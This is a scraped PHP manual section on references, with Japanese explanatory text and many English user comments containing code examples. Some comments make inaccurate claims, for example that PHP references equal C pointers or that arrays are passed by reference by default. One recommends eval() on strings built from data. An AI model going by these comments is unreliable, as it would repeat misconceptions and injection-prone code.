warnickr at gmail dot com 10-Nov-2007 01:15
I must say that it has been rather confusing following all of the explanations of PHP references, especially since I've worked a lot with C pointers.  As far as I can tell PHP references are the same as C pointers for all practical purposes.  I think a lot of the confusion comes from examples like the one shown below where people expect that a C pointer version of this would change what $bar references.

<?php
function foo(&$var)
{
    $var =& $GLOBALS["baz"];
}
foo($bar);
?>

This is not the case.  In fact, a C pointer version of this example (shown below) would behave exactly the same way (it would not modify what bar references) as the PHP reference version.

int baz = 5;
int* bar;
void foo(int* var)
{
    var = &baz;
}
foo(bar);

In this case, just as in the case of PHP references, the call foo(bar) doesn't change what bar references.  If you wanted to change what bar references, then you would need to work with a double pointer like so:

int baz = 5;
int* bar;
void foo(int** var)
{
    *var = &baz;
}
foo(&bar);
eduardofleury at uol dot com dot br 09-Jun-2007 06:58
<?php
$foo = 'Hello';
$bar = 'World';
print $foo . " " . $bar;// Hello World

$foo = &$bar;
$bar = 'Hello My World';

print $foo;// Hello My World
print $bar;// Hello My World

?>
maghiel at mdijksman dot nl 10-May-2007 04:02
Note that:

Call-time pass-by-reference has been deprecated - argument passed by value; If you would like to pass it by reference, modify the declaration of xxxxx. If you would like to enable call-time pass-by-reference, you can set allow_call_time_pass_reference to true in your INI file. However, future versions may not support this any longer
trucex at gmail dot com 05-May-2007 01:49
In response to Xor and Slava:

I recommend you read up a bit more on the way PHP handles memory management. Take the following code for example:

<?php

$data = $_POST['lotsofdata'];
$data2 = $data;
$data3 = $data;
$data4 = $data;
$data5 = $data;

?>

Assuming we post 10MB of data to this PHP file, what will PHP do with the memory?

PHP uses a table of sorts that maps variable names to the data that variable refers to in memory. The $_POST superglobal will actually be the first instance of that data in the execution, so it will be the first variable referenced to that data in the memory. It will consume 10MB. Each $data var will simply point to the same data in memory. Until you change that data PHP will NOT duplicate it.

Passing a variable by value does just what I did with each $data var. There is no significant overhead to assigning a new name to the same data. It is only when you modify the data passed to the function that it must allocate memory for the data. Passing a variable by reference will do essentially the same thing when you pass the data to the function, only modifying it will modify the data that is in the memory already versus copying it to a new location in memory.

If for learning purposes you choose to disregard the obvious pointlessness in benchmarking the difference between these two methods of passing arguments, you will need to modify the data when it is passed to the function in order to obtain more accurate results.
sneskid at hotmail dot com 06-Mar-2007 12:47
(v5.1.4)
One cool thing about var_dump is it shows which variables are references (when dumping arrays), symbolized by '∫' for int/null, and by '&' for boolean/double/string/array/object. I don't know why the difference in symmmmbolism.
After playing around I found a better way to implement detaching (twas by accident). var_dump can show what's going on.

<?php
function &detach($v=null){return $v;}

$A=array('x' => 123, 'y' => 321);
$A['x'] = &$A['x'];
var_dump($A);
/* x became it's own reference...
array(2) {
  ["x"]=> ∫(123)
  ["y"]=> int(321)
}*/

$A['y']=&$A['x'];
var_dump($A);
/* now both are references
array(2) {
  ["x"]=> ∫(123)
  ["y"]=> ∫(123)
}*/

$z = 'hi';
$A['y']=&detach(&$z);
var_dump($A);
/* x is still a reference, y and z share
array(2) {
  ["x"]=> ∫(123)
  ["y"]=> &string(2) "hi"
}*/

$A['x'] = $A['x'];
$A['y']=&detach();
var_dump($A,$z);
/* x returned to normal, y is on its own, z is still "hi"
array(2) {
  ["x"]=> int(123)
  ["y"]=> NULL
}*/
?>

For detach to work you need to use '&' in the function declaration, and every time you call it.

Use this when you know a variable is a reference, and you want to assign a new value without effecting other vars referencing that piece of memory. You can initialize it with a new constant value, or variable, or new reference all in once step.
sneskid at hotmail dot com 31-Oct-2006 09:33
in addition to what 'jw at jwscripts dot com' wrote about unset; it can also be used to "detach" the variable alias so that it may work on a unique piece of memory again.

here's an example

<?php
define('NL', "\r\n");

$v1 = 'shared';
$v2 = &$v1;
$v3 = &$v2;
$v4 = &$v3;

echo 'before:'.NL;
echo 'v1=' . $v1 . NL;
echo 'v2=' . $v2 . NL;
echo 'v3=' . $v3 . NL;
echo 'v4=' . $v4 . NL;

// detach messy
$detach = $v1;
unset($v1);
$v1 = $detach;

// detach pretty, but slower
eval(detach('$v2'));

$v1 .= '?';
$v2 .= ' no more';
$v3 .= ' sti';
$v4 .= 'll';

echo NL.'after:'.NL;
echo 'v1=' . $v1 . NL;
echo 'v2=' . $v2 . NL;
echo 'v3=' . $v3 . NL;
echo 'v4=' . $v4 . NL;

function detach($v) {
    $e = '$detach = ' . $v . ';';
    $e .= 'unset('.$v.');';
    $e .= $v . ' = $detach;';
    return $e;
}
?>

output {
before:
v1=shared
v2=shared
v3=shared
v4=shared

after:
v1=shared?
v2=shared no more
v3=shared still
v4=shared still
}

http://www.obdev.at/developers/articles/00002.html says there's no such thing as an "object reference" in PHP, but with detaching it becomes possible.

Hopefully detach, or something like it, will become a language construct in the future.
gunter dot sammet at gmail dot com 09-Aug-2006 01:23
I tried to create an array with n depth using a recursive function passing array references around. So far I haven't had much luck and I couldn't find anything on the web. So I ended up using eval() and it seems to work well:
<?php
      foreach(array_keys($this->quantity_array) AS $key){
        if($this->quantity_array[$key] > 0){
          $combinations = explode('-', $key);
          $eval_string = '$eval_array';
          foreach(array_keys($combinations) AS $key2){
            $option_key_value = explode('_', $combinations[$key2]);
            $eval_string .= '['.$option_key_value[0].']['.$option_key_value[1].']';
          }
          $eval_string .= ' = '.$this->quantity_array[$key].';';
          eval($eval_string);
        }
      }
?>

This produces an n dimensional array that will be available in the $eval_array variable. Hope it helps somebody!
Ed 22-Jan-2006 11:29
Responding to Slava Kudinov.  The only reason why your script takes longer when you pass by reference is that you do not at all modify the array that your passing to your functions.  If you do that the diffrences in execution time will be a lot smaller.  In fact  passing by reference will be faster if just by a little bit.
cesoid at yahoo dot com 10-Dec-2005 06:28
Responding to post from nathan (who was responding to iryoku).

It is important to note the difference between what php is doing from the programmer's point of view and what it is doing internally. The note that nathan refers to, about how (for example) $something = $this makes a "copy" of the current object, is talking about making a "copy" from the programmer's perspective. That is, for the programmer, for all practical purposes, $something is a copy, even if internally nothing has been copied yet. For example, changing the data in member $something->somethingVar will not change your current object's data (i.e. it will not change $this->somethingVar).

What it does internally is a totally different story. I've tested  "copying" an object which contains a 200,000 element array, it takes almost no time at all until you finally change something in one of the copies, because internally it only makes the copy when it becomes necessary. The original assignment takes less than a millisecond, but when I alter one of the copies, it takes something like a quarter of a second. But this only happens if I alter the 200,000 element array, if I alter a single integer of the object, it takes less than a microsecond again, so the interpretter seems to be smart enough to make copies of some of the objects variables and not others.

The result is that when you change a function to pass by reference, it will only become more efficient if, inside the function, the passed variable is having its data altered, in which case passing by reference causes your code to alter the data of the original copy. If you are passing an object and calling a function in that object, that function may alter the object without you even knowing, which means that you should pass an object by reference as long as it is ok for the original copy to be effected by what you do with the object inside the function.

I think the real moral of the story is this:
1) Pass by reference anything that should refer to and affect the original copy.
2) Pass not by reference things that will definitely not be altered in the function (for an object, it may be impossible to know whether it alters itself upon calling one of its functions).
3) If something needs to be altered inside a function without effecting the original copy, pass it not by reference, and pass the smallest practical part that needs to change, rather than passing, for example, a huge array of which one little integer will be altered.

Or a shorter version: Only pass things by reference when you need to refer to the original copy! (And don't pass huge arrays or long strings when you need to change just a small part of them!)
mramirez (at) star (minus) dev (dot) com 12-Oct-2005 09:10
For php programmers that come from pascal,
in object pascal (delphi),
variable references are used with the "absolute" keyword.

PHP example:

<?php

global $myglobal;

$myglobal = 5;

function test()
{
global $myglobal;

/*local*/ $mylocal =& $myglobal;

echo "local: " . $mylocal . "\n";
echo "gloal: " . $myglobal . "\n";
}

test();

?>

Pascal example:

program dontcare;

var myglobal: integer;

procedure test;
var mylocal ABSOLUTE myglobal;
begin
  write("local: ", mylocal);
  write("global: ", myglobal);
end;

begin
  myglobal := 5;
  test;
end.

By the way, a "local" keyword in php for local variables,
could be welcome :-)
y007pig at yahoo dot com dot cn 06-Oct-2005 11:02
In reply to pike at kw dot nl, '&' is only apply to PHP 4.
PHP 5 changed the behavior and the object is defaultly passed by references and if you turn on E_STRICT, you will get a notice:
Strict Standards: Assigning the return value of new by reference is deprecated in xxxx
If you want to *copy* object in PHP 5, use object clone.
php at REMOVEMEkennel17 dot co dot uk 23-Aug-2005 06:56
I found a very useful summary of how references work in PHP4 (and some of the common pitfalls) in this article: http://www.obdev.at/developers/articles/00002.html

It deals with some subtle situations and I recommend it to anyone having difficulty with their references.
grayson at uiuc dot edu 12-Aug-2005 08:59
I found a subtle feature of references that caused a bug in one of my PHP applications.  In short, if an object passes one of its members to an external function that takes a reference as an argument, the external function can turn that member into a reference to an anonymous point in memory.

Why is this a problem?  Later, when you copy the object with $a = $b, the copy and the original share memory.

Solution: If you want to have a function that uses references to modify a member of your object, your object should never pass the member to the function directly. It should first make a copy of the member. Then give that copy to the function.  Then copy the new value of that copy in to your original object member.

Below is some code that can reporoduce the this feature and demonstrate the workaround.

function modify1 ( &$pointer_obj ){
  $pointer_obj->property = 'Original Value';
}

function modify2 ( &$pointer_obj ){
  $newObj->property = 'Original Value';
  $pointer_obj = $newObj;
}

class a {
  var $i;   # an object with properties

  function corrupt1(){
    modify1 ($this->i);
  }

  function doNotCorrupt1(){
    $tmpi = $this->i;
    modify1 ($tmpi);
    $this->i = $tmpi;
  }

  function corrupt2(){
    modify2 ($this->i);
  }

  function doNotCorrupt2(){
    $tmpi = $this->i;
    modify2 ($tmpi);
    $this->i = $tmpi;
  }

}

$functions = array ('corrupt1', 'corrupt2', 'doNotCorrupt1', 'doNotCorrupt2');

foreach ($functions as $func){

  $original = new a;

  ### Load some data in to the orginal with one of the four $functions
  $original->$func();

  $copy = $original;

  $copy->i->property = "Changed after the copy was made.";

  echo "\n{$func}: \$original->i->property = '" . $original->i->property . "'";
}

The script generates output:

corrupt1: $original->i->property = 'Changed after the copy was made.'
corrupt2: $original->i->property = 'Changed after the copy was made.'
doNotCorrupt1: $original->i->property = 'Original Value'
doNotCorrupt2: $original->i->property = 'Original Value'
nslater at gmail dot com 15-Mar-2005 07:12
In addition to the note made by "Francis dot a at gmx dot net" you should not normally be using a function such as sizeof() or count() in a control structure such as FOR because the same value is being calculated repeatedly for each iteration. This can slow things down immensely, regardless of whether you pass by value or reference.

It is generally much better to calculate the static values before the defining the looping control structure.

Example:

<?php

$intSize = sizeof($arrData);

for($i = 0; $i < $intSize; $n++) {
    // Do stuff
}

?>
Carlos 14-Mar-2005 12:09
in the example below, you would get the same result if you change the function to something like:

function test_ref(&$arr) {
   $time = time();
   $size = sizeof($arr);       // <--- this makes difference...
   for($n=0; $n<$size; $n++) {
       $x = 1;
   }

   echo "<br />The function using a reference took ".(time() - $time)." s";
}
Francis dot a at gmx dot net 09-Feb-2005 10:53
I don't know if this is a bug (I'm using PHP 5.01) but you should be careful when using  references on arrays.
I had a for-loop that was incredibly slow and it took me some time to find out that most of the time was wasted with the  function sizeof() at every loop, and even more time I spent  finding out that this problem it must be somehow related to the fact, that I used a reference of the array. Take a look at the following example:

function test_ref(&$arr) {
    $time = time();
    for($n=0; $n<sizeof($arr); $n++) {
        $x = 1;
    }
    echo "<br />The function using a reference took ".(time() - $time)." s";
}

function test_val($arr) {
    $time = time();
    for($n=0; $n<sizeof($arr); $n++) {
        $x = 1;
    }
    echo "<br />The funktion using a value took: ".(time() - $time)." s";
}

// fill array
for($n=0; $n<2000; $n++) {
    $ar[] = "test".$n;
}

test_ref($ar);
test_val($ar);
echo "<br />Done";

When I tested it, the first function was done after 9 seconds, while the second (although the array must be copied) was done in not even one.

The difference is inproportional smaller when the array size is reduced:
When using 1000 loops the first function was running for 1 second, when using 4000 it wasn't even done after 30 Seconds.
jw at jwscripts dot com 16-Oct-2004 05:18
Re-using variables which where references before, without unsetting them first, leads to unexpected behaviour.

The following code:

<?php

$numbers = array();

for ($i = 1; $i < 4; $i++) {
    $numbers[] = null;
    $num = count($numbers);
    $index =& $numbers[$num ? $num - 1 : $num];
    $index = $i;
}

foreach ($numbers as $index) {
    print "$index\n";
}

?>

Does not produce:
1
2
3

But instead:
1
2
2

Applying unset($index) before re-using the variable fixes this and the expected list will be produced:
1
2
3
hkmaly at bigfoot dot com 15-Sep-2004 08:11
It seems like PHP has problems with references, like that it can't work properly with circular references or free properly structure with more references. See http://bugs.php.net/?id=30053.

I have big problem with this and I hope someone from PHP add proper warning with explanation IN manual, if they can't fix it.
jlaing at gmail dot com 17-Jul-2004 08:28
While trying to do object references with the special $this variable I found that this will not work:
class foo {
  function bar() {
    ...
    $this =& $some_other_foo_obj;
  }
}

If you want to emulate this functionality you must iterate through the vars of the class and assign references like this:

$vars = get_class_vars('foo');
foreach (array_keys($vars) as $field) {
  $this->$field =& $some_other_foo_obj->$field;
}

Now if you modify values within $this they will be modified within $some_other_foo_obj and vice versa.

Hope that helps some people!

p.s.
developer at sirspot dot com's note about object references doesn't seem correct to me.

  $temp =& $object;
  $object =& $temp->getNext();

Does the same exact thing as:

  $object =& $object->getNext();

when you refernce $temp to $object all it does is make $temp an alias to the same memory as $object, so doing $temp->getNext(); and $object->getNext(); are calling the same function on the same object.  Try it out if you don't believe me.
nathan 05-Apr-2004 10:53
On the post that says php4 automagically makes references, this appears to *not* apply to objects:

http://www.php.net/manual/en/language.references.whatdo.php

"Note:  Not using the & operator causes a copy of the object to be made. If you use $this in the class it will operate on the current instance of the class. The assignment without & will copy the instance (i.e. the object) and $this will operate on the copy, which is not always what is desired. Usually you want to have a single instance to work with, due to performance and memory consumption issues."
iryoku at terra dot es 30-Mar-2004 10:22
You should have in mind that php4 keep assigned variables "automagically" referenced until they are overwritten. So the variable copy is not executed on assignment, but on modification. Say you have this:

$var1 = 5;
$var2 = $var1; // In this point these two variables share the same memory location
$var1 = 3; // Here $var1 and $var2 have they own memory locations with values 3 and 5 respectively

Don't use references in function parameters to speed up aplications, because this is automatically done. I think that this should be in the manual, because it can lead to confusion.

More about this here:
http://www.zend.com/zend/art/ref-count.php


リファレンスとは?

PHP において、リファレンスとは同じ変数の内容を異なった名前で コールすることを意味します。これは C のポインタとは異なります。 リファレンスを使ってポインタの演算をすることはできませんし、 リファレンスは実メモリのアドレスでもありません。詳細は リファレンスが行わないこと を参照ください。 そうではなく、リファレンスはシンボルテーブルのエイリアスです。 PHP では、変数名と変数の内容は異なっており、 このため、同じ内容は異なった複数の名前を有する事が可能であることに 注意してください。最も良く似ているのは、Unix のファイル名とファイルの 関係です。この場合、変数名はディレクトリエントリ、変数の内容は ファイル自体に対応します。リファレンスは、Unix ファイルシステムの ハードリンクのようなものであると考えられます。

User Contributed Notes

aldo dot caruso at argencasas dot com 13-Mar-2019 04:50
The following three code snippets show the effect of using references in scalar variables, arrays and objects under different circumstances.

In any case the result is the expected one if you stick to the concept that a reference is an alias to a variable. After assigning by reference ( no matter if $a =& $b or $b =& $a ) both variable names refer to the same variable.

References with scalars

<?php
/*
References are aliases for the same variable
*/

$a = 1;
$b =& $a;

$b = 2;
echo "$a,$b\n"; // 2,2

$a = 3;
echo "$a,$b\n"; // 3,3

// Variables can be bound before being assigned
$c =& $d;
$c = 4;
echo "$c,$d\n"; // 4,4
?>

References with arrays

<?php
/*
Array elements referencing scalar variables
*/

$a = 1;
$b = 2;
$c = array(&$a, &$b);

$a = 3;
$b = 4;
echo "c: $c[0],$c[1]\n"; // 3,4

$c[0] = 5;
$c[1] = 6;
echo "a,b: $a,$b\n"; // 5,6

/*
Reference between arrays
*/

$d = array(1,2);
$e =& $d;

$d[0] = 3;
$d[1] = 4;
echo "e: $e[0],$e[1]\n"; // 3,4

$e[0] = 5;
$e[1] = 6;
echo "d: $d[0],$d[1]\n"; // 5,6

$e = 7;
echo "d: $d\n"; // 7 ( $d is no more an array, but an integer )

/*
Iterating an array of references using foreach construct
*/

$a = 1;
$b = 2;
$f = array(&$a,&$b);

foreach($f as $x) // If $x is assigned by value it doesn't change referred variables.
  $x = 3;
echo "a,b: $a,$b\n"; // 1,2

foreach($f as &$x) // If $x is assigned by reference it changes referred variables.
  $x = 3;
echo "a,b: $a,$b\n"; // 3,3

// Be aware that, after the loop, $x still references $f[1] and so $b
$x = 4;
echo "a,b: $a,$b\n"; // 3,4 ( $b affected )

// To avoid previous side effects it is advisable to unset x, unlinking it from $f[1] and $b
unset($x);
$x = 5;
echo "a,b: $a,$b\n"; // 3,4 ( $b not affected )
?>

References with objects

<?php
/*
Object property referencing a scalar variable
*/

$a = 1;
$b = new stdClass();
$b->x =& $a;

$a = 2;
echo "b->x: $b->x\n"; // 2

$b->x = 3;
echo "a: $a\n"; // 3

/* Reference between objects */
$c = new stdClass();
$c->x = 1;
$d =& $c;

$d->x = 2;
echo "c->x: $c->x\n"; // 2

$d = new stdClass();
$d->y = 3;
echo "c->y: $c->y\n"; // 3
echo "c->x: $c->x\n"; // Undefined property: stdClass::$x
?>
Anonymous 26-Jul-2018 03:11
Unlike in C, PHP references are not treated as pre-dereferenced pointers, but as complete aliases.

The data that they are aliasing ("referencing") will not become available for garbage collection until all references to it have been removed.

"Regular" variables are themselves considered references, and are not treated differently from variables assigned using =& for the purposes of garbage collection.

The following examples are provided for clarification.

1) When treated as a variable containing a value, references behave as expected. However, they are in fact objects that *reference* the original data.

<?php
var = "foo";
$ref1 =& $var; // new object that references $var
$ref2 =& $ref1; // references $var directly, not $ref1!!!!!

echo $ref; // >foo

unset($ref);

echo $ref1; // >Notice:  Undefined variable: ref1
echo $ref2; // >foo
echo $var; // >foo
?>

2) When accessed via reference, the original data will not be removed until *all* references to it have been removed. This includes both references and "regular" variables assigned without the & operator, and there are no distinctions made between the two for the purpose of garbage collection.

<?php
$var = "foo";
$ref =& $var;

unset($var);

echo $var; // >Notice:  Undefined variable: var
echo $ref; // >foo
?>

3) To remove the original data without removing all references to it, simply set it to null.

<?php
$var = "foo";
$ref =& $var;

$ref = NULL;

echo $var; // Value is NULL, so nothing prints
echo $ref; // Value is NULL, so nothing prints
?>

4) Placing data in an array also counts as adding one more reference to it, for the purposes of garbage collection.

For more info, see http://php.net/manual/en/features.gc.refcounting-basics.php
273118949 at qq dot com 07-Oct-2017 04:24
it just likes a person who has two different names.
anon 02-Jan-2017 11:30
In summary, "&$reference" means "do-not-copy-on-write the value here, in perpetuity". Assigning by reference is not assignment, it's "make &$variable a reference and its value do-not-copy-on-write, in perpetuity, and make the variable I'm assigning to use that do-not-copy-on-write value as well".

To "unreference/unalias" you have to either unset or make an explicit copy into a new variable.

Object properties that are references will survive cloning and remain references. Generally the same is true with references in arrays and PHP's array functions (combine, intersect, call_user_func, func_get_args, etc).

Calling a function that uses a reference parameter will *make* the supplied variable a reference. This is also true when using variadic array expansion for arguments; the supplier's array element will become a reference.

Generally, don't use them unless you're dealing with low-level calls, or need an accumulator, etc. For poorly designed functions that use them, give them a copy to mangle.


リファレンスが行うことは何ですか?

リファレンスを使う基本操作には三通りあります。 リファレンスの代入、 リファレンス渡し、 そして リファレンスを返すことです。 この節では、これらの操作に関する基本的な解説をします。 そして、詳細な説明へのリンクを示します。

リファレンスの代入

まず最初の操作です。PHP のリファレンスを使うと、 ふたつの変数が同じ内容を指すようにできます。 次の例を考えてみましょう。

<?php
$a =& $b;
?>
この場合、$a と $b は同じ内容を指します。

注意:

ここで、$a と $b は完全に 同じで、$a が $b を 指しているわけではなく、その逆でもありません。$a と $b は同じ場所を指しているのです。

注意:

未定義の変数のリファレンスに対して代入したり 渡したり返したりすると、そこで変数が作成されます。

例1 未定義の変数のリファレンスの使用

<?php
function foo(&$var) { }

foo($a); // $a が作成され、null が代入されます

$b = array();
foo($b['b']);
var_dump(array_key_exists('b', $b)); // bool(true)

$c = new StdClass;
foo($c->d);
var_dump(property_exists($c, 'd')); // bool(true)
?>

リファレンスを返す関数でも 同じ構文が使用可能です

<?php
$foo =& find_var($bar);
?>
new は自動的にリファレンスを返すようになりました。そのため、この場面で =& を使用することは文法的に無効です。 詳細な情報は オブジェクトと参照 にあります。

警告

関数の内部で global 宣言された変数にリファレンスを 代入すると、そのリファレンスは関数の内部でのみ参照可能となります。 これを避けるには、$GLOBALS 配列を使用します。

例2 関数内でのグローバル変数の参照

<?php
$var1 = "Example variable";
$var2 = "";

function global_references($use_globals)
{
    global $var1, $var2;
    if (!$use_globals) {
        $var2 =& $var1; // 関数の内部でのみ参照可能
    } else {
        $GLOBALS["var2"] =& $var1; // 関数の外部でも参照可能
    }
}

global_references(false);
echo "var2 の値は '$var2'\n"; // var2 の値は ''
global_references(true);
echo "var2 の値は '$var2'\n"; // var2 の値は 'Example variable'
?>
global $var; は、$var =& $GLOBALS['var']; の短縮版だと考えてください。 これにより、他のリファレンスを $var に代入し、 ローカル変数のリファレンスのみを変更します。

注意:

foreach ステートメントの内部でリファレンス変数に値を代入すると、リファレンスも変更されます。

例3 リファレンスと foreach ステートメント

<?php
$ref = 0;
$row =& $ref;
foreach (array(1, 2, 3) as $row) {
    // 何かを実行します
}
echo $ref; // 3 - 配列の最後の要素
?>

厳密にリファレンスでの代入をしなくても、 array() で作成した式は、配列の要素の先頭に & を追加したのと同じような動作をします。たとえば、次のようになります。

<?php
$a = 1;
$b = array(2, 3);
$arr = array(&$a, &$b[0], &$b[1]);
$arr[0]++; $arr[1]++; $arr[2]++;
/* $a == 2, $b == array(3, 4); */
?>

しかし、配列の内部のリファレンスは危険もあるということに気をつけましょう。 通常の (リファレンスではない) 代入の右辺にリファレンスを使っても 左辺はリファレンスには変わりませんが、配列の内部のリファレンスは通常の代入のままとなります。 これは、関数をコールする際に配列をリファレンスで渡すときも同じです。 たとえば、次のようになります。

<?php
/* スカラー変数への代入 */
$a = 1;
$b =& $a;
$c = $b;
$c = 7; // $c はリファレンスではないので $a や $b の値は変わりません

/* 配列変数への代入 */
$arr = array(1);
$a =& $arr[0]; // $a および $arr[0] は同じリファレンスセットになります
$arr2 = $arr; // これは、リファレンス代入ではありません!
$arr2[0]++;
/* $a == 2, $arr == array(2) */
/* $arr の内容は、たとえリファレンスでなくても変わります! */
?>
言い換えると、配列内のリファレンスの挙動はその要素ごとに決まるということです。 個々の要素のリファレンスに関する動きは、 配列コンテナがリファレンスであるかどうかとは独立しています。

リファレンス渡し

リファレンスの第 2 の使用法は、変数のリファレンス渡しです。この場合、 関数でローカル変数が作成され、コール側の変数が、それと同じ内容への リファレンスとなります。例を示します。

<?php
function foo(&$var)
{
  $var++;
}

$a=5;
foo($a);
?>
この結果、$a は 6 となります。これは、関数 foo の中では、変数 $var は $a と同じ内容を指しているためです。 より詳細な説明は、 リファレンス渡し を参照ください。

リファレンスによる返り値

リファレンスの第 3 の使用法は、 リファレンスによる返り値 です。

User Contributed Notes

Anonymous 17-Dec-2015 05:10
to reply to ' elrah [] polyptych [dot] com ', one thing to keep in mind is that array (or similar large data holders) are by default passed by reference. So the behaviour is not side effect. And for array copy and passing array inside function  always done by 'pass by reference'...
admin at torntech dot com 28-Aug-2013 07:58
Something that has not been discussed so far is reference of a reference.
I needed a quick and dirty method of aliasing incorrect naming until a proper rewrite could be done.
Hope this saves someone else the time of testing since it was not covered in the Does/Are/Are Not pages.
Far from best practice, but it worked.

<?php
$a = 0;

$b =& $a;
$a =& $b;

$a = 5;
echo $a . ', ' . $b;
//ouputs: 5,5

echo ' | ';

$b = 6;
echo $a . ',' . $b;
//outputs: 6,6

echo ' | ';
unset( $a );
echo $a . ', ' . $b;

//outputs: , 6

class Product {

    public $id;
    private $productid;

    public function __construct( $id = null ) {
        $this->id =& $this->productid;
        $this->productid =& $this->id;
        $this->id = $id;
    }

    public function getProductId() {
        return $this->productid;
    }

}

echo ' | ';

$Product = new Product( 1 );
echo $Product->id . ', ' . $Product->getProductId();
//outputs 1, 1
$Product->id = 2;
echo ' | ';
echo $Product->id . ', ' . $Product->getProductId();
//outputs 2, 2
$Product->id = null;
echo ' | ';
echo $Product->id . ', ' . $Product->getProductId();
//outouts ,
Oddant 01-Jun-2013 08:07
About the example on array references.
I think this should be written in the array chapter as well.
Indeed if you are new to programming language in some way, you should beware that arrays are pointers to a vector of Byte(s).

<?php $arr = array(1); ?>
$arr here contains a reference to which the array is located.
Writing :
<?php echo $arr[0]; ?>
dereferences the array to access its very first element.

Now something that you should also be aware of  (even you are not new to programming languages) is that PHP use references to contains the different values of an array. And that makes sense because the type of the elements of a PHP array can be different.

Consider the following example :

<?php

$arr = array(1, 'test');

$point_to_test =& $arr[1];

$new_ref = 'new';

$arr[1] =& $new_ref;

echo $arr[1]; // echo 'new';
echo $point_to_test; // echo 'test' ! (still pointed somewhere in the memory)

?>
butshuti at smartrwanda dot org 17-Feb-2013 06:05
This appears to be the hidden behavior: When a class function has the same name as the class, it seems to be implicitly called when an object of the class is created.
For instance, you may take a look at the naming of the function "reftest()": it is in the class "reftest". The behavior can be tested as follows:

<?php
class reftest
{
    public $a = 1;
    public $c = 1;

    public function reftest1()
    {
        $b =& $this->a;
        $b++;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }

    public function reftest()
    {
       echo "REFTEST() called here!\n";
    }
}

$reference = new reftest();
/*You must notice the above will also implicitly call reference->reftest()*/

$reference->reftest1();
$reference->reftest2();

echo $reference->a."\n"; //Echoes 2, not 3 as previously noticed.
echo $reference->c."\n"; //Echoes 2.
?>

The above outputs:

REFTEST() called here!
2
2

Notice that reftest() appears to be called (though no explicit call to it was made)!
nay at woodcraftsrus dot com 08-Jul-2011 09:35
in PHP you don't really need pointer anymore if you want to share an  object across your program

<?php
class foo{
        protected $name;
        function __construct($str){
                $this->name = $str;
        }
        function __toString(){
                return  'my name is "'. $this->name .'" and I live in "' . __CLASS__ . '".' . "\n";
        }
        function setName($str){
                $this->name = $str;
        }
}

class MasterOne{
        protected $foo;
        function __construct($f){
                $this->foo = $f;
        }
        function __toString(){
                return 'Master: ' . __CLASS__ . ' | foo: ' . $this->foo . "\n";
        }
        function setFooName($str){
                $this->foo->setName( $str );
        }
}

class MasterTwo{
        protected $foo;
        function __construct($f){
                $this->foo = $f;
        }
        function __toString(){
                return 'Master: ' . __CLASS__ . ' | foo: ' . $this->foo . "\n";
        }
        function setFooName($str){
                $this->foo->setName( $str );
        }
}

$bar = new foo('bar');

print("\n");
print("Only Created \$bar and printing \$bar\n");
print( $bar );

print("\n");
print("Now \$baz is referenced to \$bar and printing \$bar and \$baz\n");
$baz =& $bar;
print( $bar );

print("\n");
print("Now Creating MasterOne and Two and passing \$bar to both constructors\n");
$m1 = new MasterOne( $bar );
$m2 = new MasterTwo( $bar );
print( $m1 );
print( $m2 );

print("\n");
print("Now changing value of \$bar and printing \$bar and \$baz\n");
$bar->setName('baz');
print( $bar );
print( $baz );

print("\n");
print("Now printing again MasterOne and Two\n");
print( $m1 );
print( $m2 );

print("\n");
print("Now changing MasterTwo's foo name and printing again MasterOne and Two\n");
$m2->setFooName( 'MasterTwo\'s Foo' );
print( $m1 );
print( $m2 );

print("Also printing \$bar and \$baz\n");
print( $bar );
print( $baz );
?>
elrah [] polyptych [dot] com 27-Jan-2011 10:38
It appears that references can have side-effects.  Below are two examples.  Both are simply copying one array to another.  In the second example, a reference is made to a value in the first array before the copy.  In the first example the value at index 0 points to two separate memory locations. In the second example, the value at index 0 points to the same memory location.

I won't say this is a bug, because I don't know what the designed behavior of PHP is, but I don't think ANY developers would expect this behavior, so look out.

An example of where this could cause problems is if you do an array copy in a script and expect on type of behavior, but then later add a reference to a value in the array earlier in the script, and then find that the array copy behavior has unexpectedly changed.

<?php
// Example one
$arr1 = array(1);
echo "\nbefore:\n";
echo "\$arr1[0] == {$arr1[0]}\n";
$arr2 = $arr1;
$arr2[0]++;
echo "\nafter:\n";
echo "\$arr1[0] == {$arr1[0]}\n";
echo "\$arr2[0] == {$arr2[0]}\n";

// Example two
$arr3 = array(1);
$a =& $arr3[0];
echo "\nbefore:\n";
echo "\$a == $a\n";
echo "\$arr3[0] == {$arr3[0]}\n";
$arr4 = $arr3;
$arr4[0]++;
echo "\nafter:\n";
echo "\$a == $a\n";
echo "\$arr3[0] == {$arr3[0]}\n";
echo "\$arr4[0] == {$arr4[0]}\n";
?>
akinaslan at gmail dot com 08-Jan-2011 05:31
In this example class name is different from its first function and however there is no construction function. In the end as you guess "a" and "c" are equal. So if there is no construction function at same time class and its first function names are the same, "a" and "c" doesn't equal forever. In my opinion php doesn't seek any function for the construction as long as their names differ from each others.

<?php
class reftest_new
{
    public $a = 1;
    public $c = 1;

    public function reftest()
    {
        $b =& $this->a;
        $b++;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }
}

$reference = new reftest_new();

$reference->reftest();
$reference->reftest2();

echo $reference->a; //Echoes 2.
echo $reference->c; //Echoes 2.
?>
Amaroq 16-Jan-2010 03:14
I think a correction to my last post is in order.

When there is a constructor, the strange behavior mentioned in my last post doesn't occur. My guess is that php was treating reftest() as a constructor (maybe because it was the first function?) and running it upon instantiation.

<?php
class reftest
{
    public $a = 1;
    public $c = 1;

    public function __construct()
    {
        return 0;
    }

    public function reftest()
    {
        $b =& $this->a;
        $b++;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }
}

$reference = new reftest();

$reference->reftest();
$reference->reftest2();

echo $reference->a; //Echoes 2.
echo $reference->c; //Echoes 2.
?>
Amaroq 15-Jan-2010 06:08
When using references in a class, you can reference $this-> variables.

<?php
class reftest
{
    public $a = 1;
    public $c = 1;

    public function reftest()
    {
        $b =& $this->a;
        $b = 2;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }
}

$reference = new reftest();

$reference->reftest();
$reference->reftest2();

echo $reference->a; //Echoes 2.
echo $reference->c; //Echoes 2.
?>

However, this doesn't appear to be completely trustworthy. In some cases, it can act strangely.

<?php
class reftest
{
    public $a = 1;
    public $c = 1;

    public function reftest()
    {
        $b =& $this->a;
        $b++;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }
}

$reference = new reftest();

$reference->reftest();
$reference->reftest2();

echo $reference->a; //Echoes 3.
